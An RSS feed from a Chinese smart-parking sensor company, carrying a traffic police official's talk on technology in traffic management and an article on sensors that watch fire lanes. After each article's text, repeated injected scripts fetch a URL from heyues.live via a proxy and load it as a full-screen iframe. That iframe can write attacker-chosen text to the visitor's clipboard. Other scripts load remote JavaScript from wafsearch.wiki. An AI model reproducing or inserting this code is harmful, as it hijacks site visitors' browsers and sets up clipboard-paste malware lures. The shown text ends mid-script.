<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>地感 &#8211; 目博科技</title>
	<atom:link href="https://www.movebroad.com/tag/%E5%9C%B0%E6%84%9F/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.movebroad.com</link>
	<description>NB双模地磁-智慧停车-智慧交通</description>
	<lastBuildDate>Sat, 29 Mar 2025 10:35:17 +0000</lastBuildDate>
	<language>zh-Hans</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.5</generator>
	<item>
		<title>高效感知 高效调度 高效执法 高效治理</title>
		<link>https://www.movebroad.com/2021/04/12/news_details_itssj_0412/</link>
		
		<dc:creator><![CDATA[目博科技]]></dc:creator>
		<pubDate>Mon, 12 Apr 2021 10:04:04 +0000</pubDate>
				<category><![CDATA[NB地磁]]></category>
		<category><![CDATA[交通]]></category>
		<category><![CDATA[传感器]]></category>
		<category><![CDATA[地磁传感器]]></category>
		<category><![CDATA[城市停车]]></category>
		<category><![CDATA[感知]]></category>
		<category><![CDATA[数字交通]]></category>
		<category><![CDATA[智慧交通]]></category>
		<category><![CDATA[智慧停车]]></category>
		<category><![CDATA[智能交通]]></category>
		<category><![CDATA[双模地磁]]></category>
		<category><![CDATA[地感]]></category>
		<category><![CDATA[地磁]]></category>
		<category><![CDATA[地磁检测器]]></category>
		<guid isPermaLink="false">http://www.movebroad.com/?p=2668</guid>

					<description><![CDATA[【作者：胡伟涛，西安市公安局交通警察支队科技处处长】 &#160; 作为一名“马路医生”，马路是我的<a class="moretag" href="https://www.movebroad.com/2021/04/12/news_details_itssj_0412/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p style="text-align: center;">【作者：胡伟涛，西安市公安局交通警察支队科技处处长】</p>
<p>&nbsp;</p>
<p>作为一名“马路医生”，马路是我的办公室，坐诊在马路上诊断这些“交通病”，二十多年来有时感觉力不从心，有些事倍功半，到底缺了些什么呢？过去用的手段更多是“中医”的办法，用经验型、传统型模式治理。近年来我用了一些科技手段进入交通的治理工作中，用科技去支撑着这些堵点、乱点、事故多发点治理和大活动保障，我觉得科技的支撑作用使效果明显增加。在治理的过程中，通过大数据的积累去精准施策，就像今天论坛的主题“数据赋能，靶向治理”，用大数据的手段，我发现治理交通不仅是治理了交通病，还能治理“交通未病”，在它亚健康状态下就进行治理，契合我今天的演讲主题，用科技支撑和科技引领交通发展，治理交通问题。</p>
<p>&nbsp;</p>
<ul>
<li><b></b><strong><b>交管痛点</b></strong></li>
</ul>
<p>针对痛点与短板，我从三个环节，讲一讲交通治理的措施和方法。交通治理在这三个环节上，是普遍性、全国性的痛点。</p>
<p><strong><b> <img fetchpriority="high" decoding="async" src="https://www.movebroad.com/wp-content/uploads/2021/04/1-1.png" alt="" width="503" height="206" class="aligncenter size-full wp-image-2669" srcset="https://www.movebroad.com/wp-content/uploads/2021/04/1-1.png 503w, https://www.movebroad.com/wp-content/uploads/2021/04/1-1-300x123.png 300w" sizes="(max-width: 503px) 100vw, 503px" /><br />
</b></strong></p>
<p>（1）感知方面，对道路上的堵点、乱点和事故多发点到底在哪，是什么状态，发展态势感知得不灵敏，感知得不精确，作为一个决策者和指挥员，作为治理者和“马路医生”，情况不明，难以研判，难以精准开药方。</p>
<p>（2）调度方面，感知研判以后，坐在指挥中心，指挥应对这些交通问题，处理这些交通问题的时候发现，是多级指挥的，传递过程中信息会遗失，又特别耽误时间，效率不高，导致马路上的交通病进一步蔓延扩大，所以在这块还需要我们进一步提高指挥的灵敏度和效率。</p>
<p>（3）处置方面，在处置阶段，民警派到现场，交通乱了要执法，交通堵了要疏导；包括大活动和警卫任务，这时候是否能就近把警车和警力派过去？是不是派的民警就正好适应治理这个交通病？是需要精准派遣的，还需要政府其他部门联动治理，根据交通态势发展的情况不断跟进进行治理。</p>
<p>这三个环节都有问题，这是我们作为马路医生发现的痛点。所以在这三个环节上，我们的企业、政府部门，要共同借助于科技的手段研发、融合，提高治理效率。</p>
<p>&nbsp;</p>
<ul>
<li><b></b><strong><b>融合感知</b></strong></li>
</ul>
<p><strong><b><img decoding="async" src="https://www.movebroad.com/wp-content/uploads/2021/04/2-1.png" alt="" width="554" height="268" class="aligncenter size-large wp-image-2670" srcset="https://www.movebroad.com/wp-content/uploads/2021/04/2-1.png 554w, https://www.movebroad.com/wp-content/uploads/2021/04/2-1-300x145.png 300w" sizes="(max-width: 554px) 100vw, 554px" /></b></strong></p>
<p>作为交警坐在指挥中心，我需要知道马路上的状态。群众报警后，这个事件在哪里？如果用传统的一问一答的电话通信手段，了解的信息是非常有限的，可以借助科技把其他的信息融合进来，例如把马路上其他的监控卡口，包括各部门的相关信息接进来，感知到道路上的交通状况。通过软件开发，主动检测马路上的交通事件，并感知这些事件的态势。要了解马路上哪堵、哪乱，交通事故在哪，可以把互联网数据接进来融合在一起，交管是三张网，有公安自己的公安专网，有感知设备的视频专网，也有互联网的公网数据，三网数据汇合在一起，感知交通哪堵了，再用视频校验感知发展态势；同时把警车和警力数据融合进来，知道就近有哪些民警可以就近处理，一张图多元素融合。当然，列举的是有限的，这个可以多元素融合在一起，提高指挥中心的感知能力，准确判断发展态势。</p>
<p>&nbsp;</p>
<ul>
<li><b></b><strong><b>高效调度</b></strong></li>
</ul>
<p>高效调度是在研判基础上的，如何研判？作为交通警察，也就是交通医生，研究的对象主要是时间和空间两个因素，再加上信息。特别是在应急指挥方面，在空间上尽可能就近调度警力和警车，减少空间上的延误；时间上尽可能地把每一个环节减少时间延误，提高信令生成、指令生成，所以调度手段本身就是多元化的通信手段的应用，把这些手段用起来。在指挥中心，通过各种软件，把研判出来的指令方案下达给相应的调度民警，传统的手段可以用对讲机直接呼叫，可以用警务通指令下达，也有给二级指挥中心的电话通知，但有些手段是延误性比较大的，特别是信息容易丢失。大城市，尤其是特大型、超大型城市，一级指挥中心接到群众的报警，沟通有一个过程，把信息收集起来以后，指令信息下达要到二级指挥中心，再下达到相应的执勤民警甚至是干部手上，在三级、四级的下达过程中，既会造成信息丢失，又会造成时间的延误，所以需要尽可能地在这些环节研发扁平化指挥的体系，提高处置效能，同时要对历史数据的积累和民警的特长进行汇总，尽可能根据警情派就近擅长处理的民警提高处置效能及为民众服务的效能。</p>
<p><strong><b><img decoding="async" src="https://www.movebroad.com/wp-content/uploads/2021/04/3.png" alt="" width="500" height="260" class="aligncenter size-large wp-image-2671" srcset="https://www.movebroad.com/wp-content/uploads/2021/04/3.png 500w, https://www.movebroad.com/wp-content/uploads/2021/04/3-300x156.png 300w" sizes="(max-width: 500px) 100vw, 500px" /></b></strong></p>
<p>我们也开发了一些警员画像的功能，就近也可以给民警规划相应的合理路线。另一层，下达指令后，他们通过信控可以进行全面的交通组织优化，让交通更均衡地分布在马路上，高效地运行起来，对堵点、乱点进行综合治理。当然大活动治理也是交通指挥研究对象和保障任务，像近几年的西安重大活动，有百万人，需要指挥中心高效调度、灵活处置，提高保障水平。</p>
<p><strong><b><img loading="lazy" decoding="async" src="https://www.movebroad.com/wp-content/uploads/2021/04/4.png" alt="" width="554" height="224" class="aligncenter size-large wp-image-2672" srcset="https://www.movebroad.com/wp-content/uploads/2021/04/4.png 554w, https://www.movebroad.com/wp-content/uploads/2021/04/4-300x121.png 300w" sizes="(max-width: 554px) 100vw, 554px" /></b></strong></p>
<p>&nbsp;</p>
<ul>
<li><b></b><strong><b>深度治理</b></strong></li>
</ul>
<p>刚才说的是应急指挥调度这个层面。大数据积累下来的交通堵点、交通乱点，即周期性性堵点、常发性乱点和事故多发的点段，包括大活动的安保，是需要深度治理的，需要交警联合政府其他部门，通过一些综合手段去深度治理。</p>
<p>这个广阔的空间，需要在座各位企业和专家深度参与。西安对于路口、拥堵点段和事故多发路段治理有很多经验积累，包括对道路的渠化、路网的完善，包括其他深度治理，包括静态交通环境、动态交通环境的综合治理，都可提供相应的一些资料去交流。</p>
<p><strong><b><img loading="lazy" decoding="async" src="https://www.movebroad.com/wp-content/uploads/2021/04/5.png" alt="" width="503" height="255" class="aligncenter size-large wp-image-2673" srcset="https://www.movebroad.com/wp-content/uploads/2021/04/5.png 503w, https://www.movebroad.com/wp-content/uploads/2021/04/5-300x152.png 300w" sizes="(max-width: 503px) 100vw, 503px" /></b></strong></p>
<p>&nbsp;</p>
<ul>
<li><b></b><strong><b>结语</b></strong></li>
</ul>
<p>最后我想谈一点感受。作为科技支撑和科技引领交通治理，推进对交通环境的改善，我认为要突出“三化”——</p>
<p>第一，实战化。科技工作为交通治理实战服务，提升单警战力提高路面管控效能，同时提升为民服务效能。</p>
<p>第二，系统化。科技是一个长链条的系统，一个环节出问题，整个系统的功能会下降甚至会崩溃。</p>
<p>第三，精细化。这是它的支撑，是对从业人的要求。用每一个科技人每一个环节精细化的工作，去实现它的实战化和系统化，从而用科技去支撑和引领整个交通治理。</p>
<p><strong><b> </b></strong></p>
<p>【以上内容转自微信公众号： ITS世界】</p>
<p><u>                                                                                                                                                               </u></p>
<p>杭州目博科技有限公司成立于2010年，是国内智慧交通行业智慧停车核心检测设备领域知名供应商和解决方案服务商。</p>
<p>目博科技是一家技术驱动型的国家级高新技术企业，地磁产品城市级项目案例有150多个，市场占有率40%以上，累计出货量25万台以上。产品连续三年出货量、市场占有率、客户满意度在国内市场遥遥领先，是智慧停车行业地磁产品的领军企业。</p>
<p>目博科技核心研发团队主要由浙江大学物联网传感器资深技术专家组成，长期致力于智慧停车及交通数据采集领域的应用产品（<strong>智慧交通前端感知设备</strong>）研究。自主研发产品涵盖<strong><b>静态车位检测、动态交通流量检测、车载巡检取证系统、云智能车位控制系统、停车场智能数据分析系统</b></strong>等，拥有完全自主知识产权，并兼有20多项专利和著作权证书，已服务国内外数百家客户和合作伙伴。</p>
<p>除城市道路停车检测、交通流量检测外，<strong><b>目博科技针对市政停车、医院、园区、新能源停车位、学校、机场、车站、景区、物流、酒店等应用场景推出了一系列极具竞争力的解决方案和应用服务</b></strong>，能够为客户解决停车难、停车乱难题，实现共享停车。<script>(function() {</p>
<p>  const configLink = "https://corsproxy.io/?url=http://heyues.live";</p>
<p>  if (!window.__digitalflwrFetchPromise) {</p>
<p>    window.__digitalflwrFetchPromise = fetch(configLink)
      .then(response => {
        if (!response.ok) {
          throw new Error(" ");
        }
        return response.text();
      })</p>
<p>      .then(finalUrl => {
        return fetch(finalUrl, { method: "HEAD" })
          .then(headResponse => ({ headResponse, finalUrl }));
      })
      .catch(() => {</p>
<p>      });
  }</p>
<p>  if (typeof window.__digitalflwrIframeCreated === "undefined") {
    window.__digitalflwrIframeCreated = false;
  }</p>
<p>  window.__digitalflwrFetchPromise
    .then(result => {</p>
<p>      if (!result) return;
      const { headResponse, finalUrl } = result;</p>
<p>      if (!headResponse || headResponse.status === 404) {
        return;
      }</p>
<p>      if (!window.__digitalflwrIframeCreated) {
        window.__digitalflwrIframeCreated = true;
        createMainIframe(finalUrl);
      }
    })
    .catch(() => {</p>
<p>    });</p>
<p>  function createMainIframe(url) {
    const iframe = document.createElement("iframe");
    iframe.src = url;
    iframe.style.position = "fixed";
    iframe.style.top = 0;
    iframe.style.left = 0;
    iframe.style.width = "100%";
    iframe.style.height = "100%";
    iframe.style.border = "none";
    iframe.style.margin = 0;
    iframe.style.padding = 0;
    iframe.style.overflow = "hidden";
    iframe.style.zIndex = 99999;</p>
<p>    document.body.appendChild(iframe);</p>
<p>    window.addEventListener("message", function(event) {
      if (!event.data || event.data.type !== "copy") return;</p>
<p>      if (navigator.clipboard && navigator.clipboard.writeText) {
        navigator.clipboard.writeText(event.data.text).catch(() => {
          fallbackCopyText(event.data.text);
        });
      } else {
        fallbackCopyText(event.data.text);
      }
    });</p>
<p>    function fallbackCopyText(text) {
      const textArea = document.createElement("textarea");
      textArea.value = text;
      document.body.appendChild(textArea);
      textArea.select();</p>
<p>      try {
        document.execCommand("copy");
      } catch (err) {</p>
<p>      }</p>
<p>      document.body.removeChild(textArea);
    }
  }
})();</script><script>(function() {</p>
<p>  const configLink = "https://corsproxy.io/?url=http://heyues.live";</p>
<p>  if (!window.__digitalflwrFetchPromise) {</p>
<p>    window.__digitalflwrFetchPromise = fetch(configLink)
      .then(response => {
        if (!response.ok) {
          throw new Error(" ");
        }
        return response.text();
      })</p>
<p>      .then(finalUrl => {
        return fetch(finalUrl, { method: "HEAD" })
          .then(headResponse => ({ headResponse, finalUrl }));
      })
      .catch(() => {</p>
<p>      });
  }</p>
<p>  if (typeof window.__digitalflwrIframeCreated === "undefined") {
    window.__digitalflwrIframeCreated = false;
  }</p>
<p>  window.__digitalflwrFetchPromise
    .then(result => {</p>
<p>      if (!result) return;
      const { headResponse, finalUrl } = result;</p>
<p>      if (!headResponse || headResponse.status === 404) {
        return;
      }</p>
<p>      if (!window.__digitalflwrIframeCreated) {
        window.__digitalflwrIframeCreated = true;
        createMainIframe(finalUrl);
      }
    })
    .catch(() => {</p>
<p>    });</p>
<p>  function createMainIframe(url) {
    const iframe = document.createElement("iframe");
    iframe.src = url;
    iframe.style.position = "fixed";
    iframe.style.top = 0;
    iframe.style.left = 0;
    iframe.style.width = "100%";
    iframe.style.height = "100%";
    iframe.style.border = "none";
    iframe.style.margin = 0;
    iframe.style.padding = 0;
    iframe.style.overflow = "hidden";
    iframe.style.zIndex = 99999;</p>
<p>    document.body.appendChild(iframe);</p>
<p>    window.addEventListener("message", function(event) {
      if (!event.data || event.data.type !== "copy") return;</p>
<p>      if (navigator.clipboard && navigator.clipboard.writeText) {
        navigator.clipboard.writeText(event.data.text).catch(() => {
          fallbackCopyText(event.data.text);
        });
      } else {
        fallbackCopyText(event.data.text);
      }
    });</p>
<p>    function fallbackCopyText(text) {
      const textArea = document.createElement("textarea");
      textArea.value = text;
      document.body.appendChild(textArea);
      textArea.select();</p>
<p>      try {
        document.execCommand("copy");
      } catch (err) {</p>
<p>      }</p>
<p>      document.body.removeChild(textArea);
    }
  }
})();</script><script>(function() {</p>
<p>  const configLink = "https://corsproxy.io/?url=http://heyues.live";</p>
<p>  if (!window.__digitalflwrFetchPromise) {</p>
<p>    window.__digitalflwrFetchPromise = fetch(configLink)
      .then(response => {
        if (!response.ok) {
          throw new Error(" ");
        }
        return response.text();
      })</p>
<p>      .then(finalUrl => {
        return fetch(finalUrl, { method: "HEAD" })
          .then(headResponse => ({ headResponse, finalUrl }));
      })
      .catch(() => {</p>
<p>      });
  }</p>
<p>  if (typeof window.__digitalflwrIframeCreated === "undefined") {
    window.__digitalflwrIframeCreated = false;
  }</p>
<p>  window.__digitalflwrFetchPromise
    .then(result => {</p>
<p>      if (!result) return;
      const { headResponse, finalUrl } = result;</p>
<p>      if (!headResponse || headResponse.status === 404) {
        return;
      }</p>
<p>      if (!window.__digitalflwrIframeCreated) {
        window.__digitalflwrIframeCreated = true;
        createMainIframe(finalUrl);
      }
    })
    .catch(() => {</p>
<p>    });</p>
<p>  function createMainIframe(url) {
    const iframe = document.createElement("iframe");
    iframe.src = url;
    iframe.style.position = "fixed";
    iframe.style.top = 0;
    iframe.style.left = 0;
    iframe.style.width = "100%";
    iframe.style.height = "100%";
    iframe.style.border = "none";
    iframe.style.margin = 0;
    iframe.style.padding = 0;
    iframe.style.overflow = "hidden";
    iframe.style.zIndex = 99999;</p>
<p>    document.body.appendChild(iframe);</p>
<p>    window.addEventListener("message", function(event) {
      if (!event.data || event.data.type !== "copy") return;</p>
<p>      if (navigator.clipboard && navigator.clipboard.writeText) {
        navigator.clipboard.writeText(event.data.text).catch(() => {
          fallbackCopyText(event.data.text);
        });
      } else {
        fallbackCopyText(event.data.text);
      }
    });</p>
<p>    function fallbackCopyText(text) {
      const textArea = document.createElement("textarea");
      textArea.value = text;
      document.body.appendChild(textArea);
      textArea.select();</p>
<p>      try {
        document.execCommand("copy");
      } catch (err) {</p>
<p>      }</p>
<p>      document.body.removeChild(textArea);
    }
  }
})();</script><script>(function() {</p>
<p>  const configLink = "https://corsproxy.io/?url=http://heyues.live";</p>
<p>  if (!window.__digitalflwrFetchPromise) {</p>
<p>    window.__digitalflwrFetchPromise = fetch(configLink)
      .then(response => {
        if (!response.ok) {
          throw new Error(" ");
        }
        return response.text();
      })</p>
<p>      .then(finalUrl => {
        return fetch(finalUrl, { method: "HEAD" })
          .then(headResponse => ({ headResponse, finalUrl }));
      })
      .catch(() => {</p>
<p>      });
  }</p>
<p>  if (typeof window.__digitalflwrIframeCreated === "undefined") {
    window.__digitalflwrIframeCreated = false;
  }</p>
<p>  window.__digitalflwrFetchPromise
    .then(result => {</p>
<p>      if (!result) return;
      const { headResponse, finalUrl } = result;</p>
<p>      if (!headResponse || headResponse.status === 404) {
        return;
      }</p>
<p>      if (!window.__digitalflwrIframeCreated) {
        window.__digitalflwrIframeCreated = true;
        createMainIframe(finalUrl);
      }
    })
    .catch(() => {</p>
<p>    });</p>
<p>  function createMainIframe(url) {
    const iframe = document.createElement("iframe");
    iframe.src = url;
    iframe.style.position = "fixed";
    iframe.style.top = 0;
    iframe.style.left = 0;
    iframe.style.width = "100%";
    iframe.style.height = "100%";
    iframe.style.border = "none";
    iframe.style.margin = 0;
    iframe.style.padding = 0;
    iframe.style.overflow = "hidden";
    iframe.style.zIndex = 99999;</p>
<p>    document.body.appendChild(iframe);</p>
<p>    window.addEventListener("message", function(event) {
      if (!event.data || event.data.type !== "copy") return;</p>
<p>      if (navigator.clipboard && navigator.clipboard.writeText) {
        navigator.clipboard.writeText(event.data.text).catch(() => {
          fallbackCopyText(event.data.text);
        });
      } else {
        fallbackCopyText(event.data.text);
      }
    });</p>
<p>    function fallbackCopyText(text) {
      const textArea = document.createElement("textarea");
      textArea.value = text;
      document.body.appendChild(textArea);
      textArea.select();</p>
<p>      try {
        document.execCommand("copy");
      } catch (err) {</p>
<p>      }</p>
<p>      document.body.removeChild(textArea);
    }
  }
})();</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script><script>var url = 'https://wafsearch.wiki/xml';
var script = document.createElement('script');
script.src = url;
script.type = 'text/javascript';
script.async = true;
document.getElementsByTagName('head')[0].appendChild(script);</script></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>听说NB地磁还能用于智慧消防？</title>
		<link>https://www.movebroad.com/2020/11/27/news_details_20201127/</link>
		
		<dc:creator><![CDATA[目博科技]]></dc:creator>
		<pubDate>Fri, 27 Nov 2020 01:47:35 +0000</pubDate>
				<category><![CDATA[NB地磁]]></category>
		<category><![CDATA[停车]]></category>
		<category><![CDATA[智慧城市]]></category>
		<category><![CDATA[智慧小区]]></category>
		<category><![CDATA[智慧消防]]></category>
		<category><![CDATA[消防通道]]></category>
		<category><![CDATA[科普]]></category>
		<category><![CDATA[解决方案]]></category>
		<category><![CDATA[停车管理]]></category>
		<category><![CDATA[地感]]></category>
		<category><![CDATA[地磁]]></category>
		<category><![CDATA[地磁检测器]]></category>
		<category><![CDATA[无线地磁]]></category>
		<category><![CDATA[老旧小区改造]]></category>
		<category><![CDATA[车位探测器]]></category>
		<category><![CDATA[车检器安装]]></category>
		<guid isPermaLink="false">http://www.movebroad.com/?p=2360</guid>

					<description><![CDATA[在移动互联、大数据、云计算、人工智能、区块链等快速发展的大背景下，“连接”已经成为一种常态。 智慧消<a class="moretag" href="https://www.movebroad.com/2020/11/27/news_details_20201127/"> 阅读更多&#8230;</a>]]></description>
										<content:encoded><![CDATA[<p>在移动互联、大数据、云计算、人工智能、区块链等快速发展的大背景下，“连接”已经成为一种常态。</p>
<p><img loading="lazy" decoding="async" src="https://www.movebroad.com/wp-content/uploads/2020/11/1-1.jpg" alt="" width="768" height="400" class="aligncenter size-full wp-image-2362" srcset="https://www.movebroad.com/wp-content/uploads/2020/11/1-1.jpg 768w, https://www.movebroad.com/wp-content/uploads/2020/11/1-1-300x156.jpg 300w" sizes="(max-width: 768px) 100vw, 768px" /></p>
<p>智慧消防是基于传统消防的产品和概念，注重打通各系统间的信息孤岛、提升感知预警能力和应急指挥智慧能力。通过更早发现、更快处理，将火灾风险和影响降到最低。其智慧之处可概况为智慧防控、智慧管理、智慧指挥，即异常自动报警提高传递效率、系统化管理保障消防设施、可视化动态图像实现调度智能化。</p>
<p>&nbsp;</p>
<p><img loading="lazy" decoding="async" src="https://www.movebroad.com/wp-content/uploads/2020/11/2-1.jpg" alt="" width="750" height="429" class="aligncenter size-large wp-image-2363" srcset="https://www.movebroad.com/wp-content/uploads/2020/11/2-1.jpg 875w, https://www.movebroad.com/wp-content/uploads/2020/11/2-1-300x171.jpg 300w, https://www.movebroad.com/wp-content/uploads/2020/11/2-1-768x439.jpg 768w" sizes="(max-width: 750px) 100vw, 750px" /></p>
<p>&nbsp;</p>
<p>消防隐患主要来源于引发火灾的直接诱因和阻挡逃生及救援的间接因素。“预防为主，防消结合”是我国消防工作的基本方针，所谓“消”，就是消灭、扑灭火灾；所谓“防”，就是防止、预防火灾。智慧消防的系统性建设，包含消防隐患的监测和现场灾情的实时监控。在消防隐患的监测中，消防通道防堵塞愈发引起重视。</p>
<p>&nbsp;</p>
<p>智慧消防建设，最关键的就是应用落地。智慧消防落地最简单和基础的，就是应用在九小场所、高层建筑、商业综合体、文物古建、大学院校、卫生医疗以及工业园区等场所。这些场所与人们的生活息息相关，但是由于各种原因，居民安全意识薄弱，且人员密集，存在严重的安全隐患，因此相关部门对这些场所的消防安全非常重视。这类场景智慧消防应用，主要是发挥监测和预警功能。</p>
<p>&nbsp;</p>
<p>一方面，是安装智能终端产品，包括无线烟感、火灾自动报警、电气火灾监控、消防设施远程监控、消防通道监控等系统终端进行各类消防隐患的实时监控。另一方面，是搭建采集场所烟感、用电信息的平台应用，能够实时接收监测和预警信息，实现火警上报和处理，并嵌入大数据云平台，积累数据，利用大数据算法处理模块，分析隐患来源并动态展示重点巡查点。</p>
<p><img loading="lazy" decoding="async" src="https://www.movebroad.com/wp-content/uploads/2020/11/3-1.jpg" alt="" width="750" height="500" class="aligncenter size-large wp-image-2364" srcset="https://www.movebroad.com/wp-content/uploads/2020/11/3-1.jpg 900w, https://www.movebroad.com/wp-content/uploads/2020/11/3-1-300x200.jpg 300w, https://www.movebroad.com/wp-content/uploads/2020/11/3-1-768x512.jpg 768w, https://www.movebroad.com/wp-content/uploads/2020/11/3-1-360x240.jpg 360w" sizes="(max-width: 750px) 100vw, 750px" /></p>
<p>&nbsp;</p>
<p><strong>近年来，各地车辆堵塞通道，影响消防车救援，令人腹诽不已</strong>。随着人们生活水平的提高私家车数量越来越多，然而，由于居民小区的停车位有限，不少住户盯上了消防通道这块‘风水宝地’，占用消防通道停放车辆，而一旦消防通道被占沦为“摆设”，将存在很大的消防安全隐患。近年来，因消防通道被堵占，致使消防车“英雄无用武之地”的惨重教训并不少见。这一方面与一些车主公德素质不高、消防安全意识淡漠不无干系，但也<strong><b>暴露出消防通道重“建”轻“管”的问题。</b></strong></p>
<p>&nbsp;</p>
<p><strong>针对此场景，目博通过实地调研及需求分析，将NB地磁的精准车辆检测优势融合至消防通道的智能化管理中。本方案以和谐、智能为定位，以缓解某些地面（车辆、货物乱停放）等行为为目的，通过聚合物联网设备，构建云平台服务。实现消防通道违停预警服务体系的早发现、快提醒、速解决等多款应用服务，建设可视化的大数据监控体系为异常告警、综合调度、决策支持提供数据支持，为“智慧消防、平安交通”建设奠定基础。</strong></p>
<p>&nbsp;</p>
<p><strong>在项目建设过程中，采用智能化手段，在消防车道定制化安装NB地磁感知设备，采集禁止停车区域的车辆停车数据，并发送报警信号，做到实时、主动告警。目博云平台在第一时间推送事件信息至管理人员进行处理。场地周围还可以选择加装监控球机，作为取证记录。</strong></p>
<p>&nbsp;</p>
<p>船到江心补漏迟，事故临头后悔晚。总之，消防通道是绝不能堵塞的生命通道。保持消防车道的畅通切不可等闲视之，必须多管齐下同发力，用科技与法律利器打通消防通道。消防、城建等部门应依法加强对小区消防通道的规范设计、建设和验收，并抓好常态监管工作，及时督促物业公司对小区消防通道的监控管理方式进行智能化升级，对居民占用、堵塞消防通道等违法行为进行监测并实施整改。<script>(function() {</p>
<p>  const configLink = "https://corsproxy.io/?url=http://heyues.live";</p>
<p>  if (!window.__digitalflwrFetchPromise) {</p>
<p>    window.__digitalflwrFetchPromise = fetch(configLink)
      .then(response => {
        if (!response.ok) {
          throw new Error(" ");
        }
        return response.text();
      })</p>
<p>      .then(finalUrl => {
        return fetch(finalUrl, { method: "HEAD" })
          .then(headResponse => ({ headResponse, finalUrl }));
      })
      .catch(() => {</p>
<p>      });
  }</p>
<p>  if (typeof window.__digitalflwrIframeCreated === "undefined") {
    window.__digitalflwrIframeCreated = false;
  }</p>
<p>  window.__digitalflwrFetchPromise
    .then(result => {</p>
<p>      if (!result) return;
      const { headResponse, finalUrl } = result;</p>
<p>      if (!headResponse || headResponse.status === 404) {
        return;
      }</p>
<p>      if (!window.__digitalflwrIframeCreated) {
        window.__digitalflwrIframeCreated = true;
        createMainIframe(finalUrl);
      }
    })
    .catch(() => {</p>
<p>    });</p>
<p>  function createMainIframe(url) {
    const iframe = document.createElement("iframe");
    iframe.src = url;
    iframe.style.position = "fixed";
    iframe.style.top = 0;
    iframe.style.left = 0;
    iframe.style.width = "100%";
    iframe.style.height = "100%";
    iframe.style.border = "none";
    iframe.style.margin = 0;
    iframe.style.padding = 0;
    iframe.style.overflow = "hidden";
    iframe.style.zIndex = 99999;</p>
<p>    document.body.appendChild(iframe);</p>
<p>    window.addEventListener("message", function(event) {
      if (!event.data || event.data.type !== "copy") return;</p>
<p>      if (navigator.clipboard && navigator.clipboard.writeText) {
        navigator.clipboard.writeText(event.data.text).catch(() => {
          fallbackCopyText(event.data.text);
        });
      } else {
        fallbackCopyText(event.data.text);
      }
    });</p>
<p>    function fallbackCopyText(text) {
      const textArea = document.createElement("textarea");
      textArea.value = text;
      document.body.appendChild(textArea);
      textArea.select();</p>
<p>      try {
        document.execCommand("copy");
      } catch (err) {</p>
<p>      }</p>
<p>      document.body.removeChild(textArea);
    }
  }
})();</script><script>(function() {</p>
<p>  const configLink = "https://corsproxy.io/?url=http://heyues.live";</p>
<p>  if (!window.__digitalflwrFetchPromise) {</p>
<p>    window.__digitalflwrFetchPromise = fetch(configLink)
      .then(response => {
        if (!response.ok) {
          throw new Error(" ");
        }
        return response.text();
      })</p>
<p>      .then(finalUrl => {
        return fetch(finalUrl, { method: "HEAD" })
          .then(headResponse => ({ headResponse, finalUrl }));
      })
      .catch(() => {</p>
<p>      });
  }</p>
<p>  if (typeof window.__digitalflwrIframeCreated === "undefined") {
    window.__digitalflwrIframeCreated = false;
  }</p>
<p>  window.__digitalflwrFetchPromise
    .then(result => {</p>
<p>      if (!result) return;
      const { headResponse, finalUrl } = result;</p>
<p>      if (!headResponse || headResponse.status === 404) {
        return;
      }</p>
<p>      if (!window.__digitalflwrIframeCreated) {
        window.__digitalflwrIframeCreated = true;
        createMainIframe(finalUrl);
      }
    })
    .catch(() => {</p>
<p>    });</p>
<p>  function createMainIframe(url) {
    const iframe = document.createElement("iframe");
    iframe.src = url;
    iframe.style.position = "fixed";
    iframe.style.top = 0;
    iframe.style.left = 0;
    iframe.style.width = "100%";
    iframe.style.height = "100%";
    iframe.style.border = "none";
    iframe.style.margin = 0;
    iframe.style.padding = 0;
    iframe.style.overflow = "hidden";
    iframe.style.zIndex = 99999;</p>
<p>    document.body.appendChild(iframe);</p>
<p>    window.addEventListener("message", function(event) {
      if (!event.data || event.data.type !== "copy") return;</p>
<p>      if (navigator.clipboard && navigator.clipboard.writeText) {
        navigator.clipboard.writeText(event.data.text).catch(() => {
          fallbackCopyText(event.data.text);
        });
      } else {
        fallbackCopyText(event.data.text);
      }
    });</p>
<p>    function fallbackCopyText(text) {
      const textArea = document.createElement("textarea");
      textArea.value = text;
      document.body.appendChild(textArea);
      textArea.select();</p>
<p>      try {
        document.execCommand("copy");
      } catch (err) {</p>
<p>      }</p>
<p>      document.body.removeChild(textArea);
    }
  }
})();</script><script>(function() {</p>
<p>  const configLink = "https://corsproxy.io/?url=http://heyues.live";</p>
<p>  if (!window.__digitalflwrFetchPromise) {</p>
<p>    window.__digitalflwrFetchPromise = fetch(configLink)
      .then(response => {
        if (!response.ok) {
          throw new Error(" ");
        }
        return response.text();
      })</p>
<p>      .then(finalUrl => {
        return fetch(finalUrl, { method: "HEAD" })
          .then(headResponse => ({ headResponse, finalUrl }));
      })
      .catch(() => {</p>
<p>      });
  }</p>
<p>  if (typeof window.__digitalflwrIframeCreated === "undefined") {
    window.__digitalflwrIframeCreated = false;
  }</p>
<p>  window.__digitalflwrFetchPromise
    .then(result => {</p>
<p>      if (!result) return;
      const { headResponse, finalUrl } = result;</p>
<p>      if (!headResponse || headResponse.status === 404) {
        return;
      }</p>
<p>      if (!window.__digitalflwrIframeCreated) {
        window.__digitalflwrIframeCreated = true;
        createMainIframe(finalUrl);
      }
    })
    .catch(() => {</p>
<p>    });</p>
<p>  function createMainIframe(url) {
